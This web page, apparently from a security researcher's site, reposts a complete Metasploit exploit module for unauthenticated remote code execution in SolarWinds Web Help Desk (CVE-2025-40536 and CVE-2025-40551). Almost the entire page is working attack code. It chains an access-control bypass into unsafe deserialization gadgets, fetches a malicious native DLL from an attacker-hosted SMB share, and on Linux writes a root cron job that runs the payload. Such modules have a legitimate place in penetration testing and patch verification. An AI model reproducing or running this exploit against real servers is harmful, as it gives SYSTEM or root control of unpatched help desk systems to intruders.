Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

SolarWinds Web Help Desk Unauthenticated Remote Code Execution
SolarWinds Web Help Desk Unauthenticated Remote Code Execution
SolarWinds Web Help Desk Unauthenticated Remote Code Execution

##
# This module SolarWinds Web Help Desk Unauthenticated Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::EXE
include Msf::Exploit::Retry

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SolarWinds Web Help Desk unauthenticated RCE',
'Description' => %q{
This module exploits an access control bypass vulnerability (CVE-2025-40536) and an unsafe deserialization
vulnerability (CVE-2025-40551) to achieve unauthenticated RCE against a vulnerable SolarWinds Web Help Desk (WHD)
server.
},
'License' => MSF_LICENSE,
'Author' => [
'Jimi Sebree', # Original finder @ horizon3.ai
'sfewer-r7' # MSF module (Based on the Nuclei template by horizon3.ai)
],
'References' => [
# Access control bypass vulnerability
['CVE', '2025-40536'],
# Unsafe deserialization for RCE
['CVE', '2025-40551'],
# Vendor advisory
['URL', 'https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm'],
# Technical analysis from horizon3.ai
['URL', 'https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/']
],
'DisclosureDate' => '2026-01-28',
'Privileged' => true, # Runs as "NT AUTHORITY\SYSTEM" by default on a Windows install.
'Platform' => ['win', 'unix', 'linux'],
'Arch' => [ARCH_X64, ARCH_CMD],
'Targets' => [
[
'WHD 12.8.* on Windows (Native code payload)', {
'VersionStart' => '12.8',
'Platform' => 'win',
'Arch' => ARCH_X64 # Ships as a Java application running in a x64 java.exe process
}
],
[
'WHD 12.8.* on Linux (Command payload)', {
'VersionStart' => '12.8',
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => '\''
},
'WfsDelay' => 90 # cron can take ~1 minute
}
],
[
'WHD 12.7.* on Windows (Command payload)', {
'VersionStart' => '12.7',
'GadgetChain' => 'CommonsBeanutils1',
'Platform' => 'win',
'Arch' => ARCH_CMD
}
],
[
'WHD 12.7.* on Linux (Command payload)', {
'VersionStart' => '12.7',
'GadgetChain' => 'CommonsBeanutils1', # Tested against Web Help Desk version 12.7.11.1182 (linux)
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true
},
'Notes' => {
# For the 12.8.* target on Windows, the service may crash and restart so we use a stability of
# CRASH_SERVICE_RESTARTS, but for all the other targets the stability is CRASH_SAFE.
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS] # C:\Program Files\WebHelpDesk\log\whd.log
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
session_ctx = step1_initial_session

CheckCode::Vulnerable("Detected Web Help Desk version #{session_ctx[:version]} (#{session_ctx[:platform]}).")
rescue Msf::Exploit::Failed => e
CheckCode::Unknown(e.to_s)
end

def exploit
print_status('Step 1 - Initial session...')

session_ctx = step1_initial_session

# Verify the remote target matches the expectations for the Metasploit target's version and platform...

fail_with(Failure::BadConfig, "Remote target is running version #{session_ctx[:version]}, current Metasploit target gadget chain is for version #{target['VersionStart']}.*. Set a different target.") unless session_ctx[:version].start_with? target['VersionStart']

case target['Platform']
when 'win'
fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :windows
when ['unix', 'linux']
fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :linux
else
fail_with(Failure::BadConfig, "Unexpected target platform #{target['Platform']}. Set a different target.")
end

session_ctx[:service] = get_target_service(session_ctx)

print_status('Step 2 - Login pref page...')

external_auth_container = step2_login_pref_page(session_ctx)

print_status('Step 3 - Trigger SAML object...')

step3_trigger_saml_object(session_ctx, external_auth_container)

print_status('Step 4 - Create JSON RPC bridge...')

jsonrpc_client = step4_create_jsonrpc_bridge(session_ctx)

print_status('Step 5 - Unsafe deserialization...')

get_target_gadgets(session_ctx).each do |gadget|
print_status(" Executing gadget - #{gadget[:title]}")

step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, gadget[:json_data], return_early: true)

Rex::ThreadSafe.sleep(2)
end

# block untill we get a session, so we dont tear down the SMB/LDAP service prematurly.
retry_until_truthy(timeout: datastore['WfsDelay']) do
!handler_enabled? || session_created?
end

unless session_ctx[:service].nil?
session_ctx[:service].cleanup
end

handler
ensure
cleanup_service
end

class SimpleSMBShareWrapper < ::Msf::Exploit
include ::Msf::Exploit::Remote::SMB::Server::Share
end

def get_target_service(session_ctx)
if target['VersionStart'] == '12.7'
start_service
return nil
end

# For 12.8.* targets on Windows, our gadget will force a native code library (a DLL) to be loaded from a UNC path
# over SMB. We need to spin up an SMB server with a share to satisfy this. As we already
# include Msf::Exploit::Remote::JndiInjection we cannot also include Msf::Exploit::Remote::SMB::Server::Share. To
# overcome this, we wrap the SMB server mixin in a new Exploit class, and instantiate it separately.
return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows

if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
end

# NOTE: It has to be TCP port 445 for SMB, so we don't expose this port number to the user as an option.
print_status("Serving a malicious extension over an SMB share on #{datastore['SRVHOST']} (SMB on TCP port 445)")

smb_service = SimpleSMBShareWrapper.new

smb_service.datastore['SRVPORT'] = 445
smb_service.datastore['SRVHOST'] = datastore['SRVHOST']

smb_service.setup

smb_service.file_contents = generate_payload_dll

smb_service.file_name += '.dll'

smb_service.start_service({
'ServerPort' => 445,
'ServerHost' => datastore['SRVHOST']
})

smb_service
end

def get_target_gadgets(session_ctx)
gadgets = []

if target['VersionStart'] == '12.7'
# Tested against Web Help Desk version 12.7.11.1182 running on Linux.

print_status("Malicious JNDI URL: #{jndi_string}")

gadgets.push({
title: 'Malicious JNDI lookup via ch.qos.logback.core.db.JNDIConnectionSource',
json_data: {
'javaClass' => 'ch.qos.logback.core.db.JNDIConnectionSource', # logback-core.jar
'jndiLocation' => jndi_string
}
})
elsif target['VersionStart'] == '12.8'
# We first need to register the org.sqlite.JDBC driver so we can use it, as it may have not already
# been registered. By instantiating org.sqlite.JDBC, the classes static initializer will register the driver.
gadgets.push({
title: 'Registering the org.sqlite.JDBC driver',
json_data: {
'javaClass' => 'org.sqlite.JDBC'
}
})

if session_ctx[:platform] == :windows
print_status("Malicious SQLite extension UNC: #{session_ctx[:service].unc}")

# With the org.sqlite.JDBC driver available, we leverage com.zaxxer.hikari.HikariDataSource to create a sqlite
# connection. We use a sqlite in-memory database to avoid touching disk, and we leverage the enable_load_extension
# pragma to allow us to load arbitrary native code extensions. Hikari allows us to execute arbitrary SQL statement
# when a new database connection is opened. We use this to load a malicious extension that contains a Metasploit
# native code payload.
#
# Tested against Web Help Desk version 12.8.8.2528 running on Windows Server 2022 (NOTE: If you are using
# the default Metasploit payloads you will have to disable Defender while testing, alternatively bring your
# own payloads).
gadgets.push({
title: 'Loading malicious extension over SMB',
json_data: {
'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
'driverClassName' => 'org.sqlite.SQLiteDataSource',
'jdbcUrl' => 'jdbc:sqlite::memory:?enable_load_extension=true',
'connectionInitSql' => "SELECT load_extension('#{session_ctx[:service].unc}');"
}
})
elsif session_ctx[:platform] == :linux
# Leveraging a dirty file write viw SQLite to a cronjob has been shown to work against some cron daemons:
# https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron
# However when testing against an Ubuntu system, I get the syslog error:
# cron[427]: Error: bad minute; while reading /etc/cron.d/hax_5
#
random_name = Rex::Text.rand_text_alpha(8)

gadgets.push({
title: "Creating file in /etc/cron.d/#{random_name}",
json_data: {
'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
'driverClassName' => 'org.sqlite.SQLiteDataSource',
'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
'connectionInitSql' => 'CREATE TABLE a (b TEXT UNIQUE);'
}
})

gadgets.push({
title: "Dirty file write to /etc/cron.d/#{random_name}",
json_data: {
'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
'driverClassName' => 'org.sqlite.SQLiteDataSource',
'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
'connectionInitSql' => "INSERT OR IGNORE INTO a (b) VALUES ('\n* * * * * root #{payload.encoded}\n');"
}
})
end
else
fail_with(Failure::BadConfig, "Unexpected target version #{target['VersionStart']}. Set a different target.")
end
end

# By default, Metasploit will use BeanFactory, but we want CommonsBeanutils1. The gadget chain used here is left
# as a target option so we can add new targets (i.e. specific versions of WHD) with ease.
def build_ldap_search_response_payload
build_ldap_search_response_payload_inline(target['GadgetChain'])
end

def step1_initial_session
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa'),
'headers' => {
'x-webobjects-recording' => '1'
}
)

fail_with(Failure::UnexpectedReply, 'Step 1 - Connection failed') unless res

fail_with(Failure::UnexpectedReply, "Step 1 - Unexpected response code #{res.code}") unless res.code == 200

m = res.body.match(%r{"/helpdesk/\w+/\w+\.css\?v=([\d_]+)"})

fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract version') unless m

version = m[1].gsub('_', '.')

vprint_status("Version: #{version}")

m = res.body.match(%r{src="/helpdesk/WebObjects/Helpdesk\.woa/wr\?wodata=(jar[^"]+)"})

fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract resource path') unless m

resource_path = Rex::Text.uri_decode(m[1])

# jar:file:////C:/Program%20Files/WebHelpDesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js
# jar:file:///usr/local/webhelpdesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js
platform = if resource_path =~ %r{file:////.:/}
:windows
else
resource_path =~ %r{file:///Applications/} ? :mac : :linux
end

vprint_status("Platform: #{platform}")

cookies = res.get_cookies

jsessionid = cookies.scan(/JSESSIONID=([A-Za-z0-9]+);*/).flatten[0] || nil

fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get JSESSIONID') unless jsessionid

vprint_status("JSESSIONID: #{jsessionid}")

xsrf_token = cookies.scan(/XSRF-TOKEN=([A-Za-z0-9-]+);*/).flatten[0] || nil

fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get XSRF-TOKEN') unless xsrf_token

vprint_status("XSRF-TOKEN: #{xsrf_token}")

x_webobjects_session_id = res.headers['x-webobjects-session-id']&.to_s

fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get x-webobjects-session-id') unless x_webobjects_session_id

vprint_status("x-webobjects-session-id: #{x_webobjects_session_id}")

{
version: version,
platform: platform,
jsessionid: jsessionid,
xsrf_token: xsrf_token,
x_webobjects_session_id: x_webobjects_session_id
}
end

def step2_login_pref_page(session_ctx)
res = send_request_cgi(
'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'vars_get' => {
Rex::Text.rand_text_alpha(8) => '/ajax/',
'wopage' => 'LoginPref'
}
)

fail_with(Failure::UnexpectedReply, 'Step 2 - Connection failed') unless res

fail_with(Failure::UnexpectedReply, "Step 2 - Unexpected response code #{res.code}") unless res.code == 200

m = res.body.match(%r{id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk\.woa/ajax/\d+\.\d+)})

fail_with(Failure::UnexpectedReply, 'Step 2 - Failed to extract externalAuthContainer') unless m

external_auth_container = m[1]

vprint_status("externalAuthContainer: #{external_auth_container}")

external_auth_container
end

def step3_trigger_saml_object(session_ctx, external_auth_container)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, external_auth_container),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'data' => "0.7.1.3.1.0.0.0.1.1.0=1&_csrf=#{session_ctx[:xsrf_token]}"
)

fail_with(Failure::UnexpectedReply, 'Step 3 - Connection failed') unless res

fail_with(Failure::UnexpectedReply, "Step 3 - Unexpected response code #{res.code}") unless res.code == 200
end

def step4_create_jsonrpc_bridge(session_ctx)
res = send_request_cgi(
'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'vars_get' => {
Rex::Text.rand_text_alpha(8) => '/ajax/',
'wopage' => 'LoginPref'
}
)

fail_with(Failure::UnexpectedReply, 'Step 4 - Connection failed') unless res

fail_with(Failure::UnexpectedReply, "Step 4 - Unexpected response code #{res.code}") unless res.code == 200

m = res.body.match(%r{JSONRpcClient\('/helpdesk/WebObjects/Helpdesk\.woa/ajax/([\d.]+)'\);})

fail_with(Failure::UnexpectedReply, 'Step 4 - Failed to extract JSONRpcClient') unless m

jsonrpc_client = m[1]

vprint_status("JSONRpcClient: #{jsonrpc_client}")

jsonrpc_client
end

def step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, json_data, return_early: false)
random_id = rand(1..0xffff)
random_name = Rex::Text.rand_text_alpha(8)

# whd-core.jar!com.macsdesign.util.MDSApplication.isWhitelisted
allowlist = [
'parentpopup', 'wonoselectionstring', 'dummy', 'mdssubmitlink', 'mdsform__enterkeypressed',
'mdsform__shiftkeypressed', 'mdsform__altkeypressed', '_csrf'
]

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'data' => {
Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
'id' => random_id,
'method' => 'wopage.setVariableValueForName',
'params' => [
random_name,
json_data
]
}.to_json
)

fail_with(Failure::UnexpectedReply, 'Step 5A - Connection failed') unless res

fail_with(Failure::UnexpectedReply, "Step 5A - Unexpected response code #{res.code}") unless res.code == 200

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'data' => {
Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
'id' => random_id,
'method' => 'wopage.variableValueForName',
'params' => [random_name]
}.to_json
)

unless return_early
fail_with(Failure::UnexpectedReply, 'Step 5B - Connection failed') unless res

fail_with(Failure::UnexpectedReply, "Step 5B - Unexpected response code #{res.code}") unless res.code == 200
end
end

end

Social Media Share